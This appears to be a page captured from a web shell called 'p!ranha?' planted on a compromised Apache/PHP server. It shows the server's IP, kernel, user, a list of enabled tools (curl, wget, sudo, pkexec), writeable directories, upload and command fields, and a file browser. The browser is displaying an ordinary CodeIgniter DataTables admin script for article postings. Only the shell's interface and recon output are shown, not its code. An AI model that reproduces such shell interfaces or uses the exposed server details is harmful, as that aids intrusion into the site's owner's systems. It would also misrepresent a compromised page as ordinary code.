p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/newsigniter/application/views/back/pages/article/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/newsigniter/application/views/back/pages/article/posting-datatable.php
<script type="text/javascript">

   let tablePosting;
   let base_url = '<?= base_url();?>';

   // Show Table
   $(document).ready(function(){

      tablePosting = $('#tablePosting').DataTable({
         processing: true,
         serverSide: true,
         order: [ 0, 'desc' ],
         ajax: {
            'url': "<?= base_url('back/posting/ajax_list') ?>",
            'type': "POST"
         },
         columnDefs: [
            { 
               'targets': [  0, -1 ], 
               'orderable': false, 
            },
            { 'width': '5px', 'targets': 0 },
            { 'width': '5px', 'targets': 2 },
            { 'width': '5px', 'targets': 3 },
            { 'width': '5px', 'targets': 4 },
            { 'width': '5px', 'targets': 6 },
         ],
         lengthMenu: [[5, 10, 50, -1], [5, 10, 50, "All"]]
      });

   });


   // Reload Button
   function reload_table(){
      tablePosting.ajax.reload(null, false);
   }

   //check all
   $("#check-all").click(function () {
      $(".data-check").prop('checked', $(this).prop('checked'));
   });

   // Delete Menu
   function delete_posting(id){
      Swal.fire({
         title: 'Are you sure?',
         icon: 'warning',
         showCancelButton: true,
         confirmButtonColor: '#3085d6',
         cancelButtonColor: '#d33',
         confirmButtonText: 'Delete!'
         }).then((result) => {
         if (result.value) {
            $.ajax({
               type: 'post',
               dataType: 'json',
               url: '<?= base_url('back/posting/delete'); ?>',
               data: {
                  id: id
               },
               success: function(data){
                  if(data.status){
                     tablePosting.row( $(this).parents('tr') ).remove().draw();
                     $('#modalPosting').modal('hide');
                     Swal.fire({
                        icon: 'success',
                        title: 'Success',
                        showConfirmButton: true
                     });
                  }
               },
               error: function(){
                  $('#modalPosting').modal('hide');
                  Swal.fire({
                     icon: 'error',
                     title: 'Oops...',
                     text: 'Something Happened!',
                     showConfirmButton: true
                  });
               }
            });
         }
      });
   }

   function bulk_delete(){
      var list_id = [];
      $(".data-check:checked").each(function() {
         list_id.push(this.value);
      });
      if(list_id.length > 0){
         Swal.fire({
         title: 'Are you sure delete this '+list_id.length+' data?',
         icon: 'warning',
         showCancelButton: true,
         confirmButtonColor: '#3085d6',
         cancelButtonColor: '#d33',
         confirmButtonText: 'Delete!'
         }).then((result) => {
            if (result.value) {
               $.ajax({
                  type: 'post',
                  dataType: 'json',
                  url: '<?= base_url('back/posting/bulk_delete'); ?>',
                  data: {
                     id: list_id
                  },
                  success: function(data){
                     if(data.status){
                        tablePosting.row( $(this).parents('tr') ).remove().draw();
                        $('#modalPosting').modal('hide');
                        Swal.fire({
                           icon: 'success',
                           title: 'Success',
                           showConfirmButton: true
                        });
                        reload_table();
                     }
                  },
                  error: function(){
                     $('#modalPosting').modal('hide');
                     Swal.fire({
                        icon: 'error',
                        title: 'Oops...',
                        text: 'An error occurred!',
                        showConfirmButton: true
                     });
                  }
               });
            }
         });
      }else{
         Swal.fire({
            icon: 'error',
            title: 'Oops...',
            text: 'No Data Selected!',
            showConfirmButton: true
         });
      }
   }

   

</script>

N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 03 2025 03:29:10
0 / 0
0755
category-datatable.php
3.691 KB
May 22 2021 15:57:48
0 / 0
0644
category.php
2.677 KB
May 22 2021 12:06:40
0 / 0
0644
form_post.php
7.458 KB
January 20 2025 03:19:17
0 / 0
0644
posting-datatable.php
4.188 KB
May 22 2021 15:55:08
0 / 0
0644
posting.php
6.482 KB
January 20 2025 03:19:42
0 / 0
0644